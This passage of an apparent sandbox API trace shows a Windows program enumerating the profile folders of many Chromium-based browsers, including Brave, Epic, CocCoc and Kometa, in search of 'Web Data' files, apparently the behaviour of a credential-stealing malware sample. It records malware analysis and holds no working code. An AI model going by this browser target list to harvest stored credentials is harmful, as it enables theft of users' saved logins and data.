HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0061.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.689] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.689] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0061.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.689] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.689] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.689] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0061.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.690] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.690] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\uCozMedia\\Uran\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\") returned 0x46 [0061.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\uCozMedia\\Uran\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.690] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.690] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\QIP Surf\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\") returned 0x40 [0061.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\QIP Surf\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.690] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.690] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Epic Privacy Browser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\") returned 0x4c [0061.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Epic Privacy Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.690] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.690] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.690] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.690] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\brave\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\") returned 0x35 [0061.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\brave\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.691] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.691] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.691] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CocCoc\\Browser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\") returned 0x46 [0061.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.691] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.691] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.691] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\CentBrowser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\") returned 0x43 [0061.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\CentBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.691] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.691] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.691] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0061.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.691] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.692] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.692] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.692] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.692] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.692] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.692] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.692] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.692] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.692] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.692] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.692] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0061.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.693] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.693] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.693] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0061.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0061.693] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bc7670, cbMultiByte=8, lpWideCharStr=0x18d110, cchWideChar=2047 | out: lpWideCharStr="Web Data敳獲䅜瑵䍯浯汰瑥履潇杯敬桃潲敭䑟晥畡瑬䍟⹃硴䥴賚텨\x18\x05") returned 8 [0061.693] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1a8 | out: lpFindFileData=0x18e1a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0061.693] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0061.693] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6fe58c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0061.693] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", 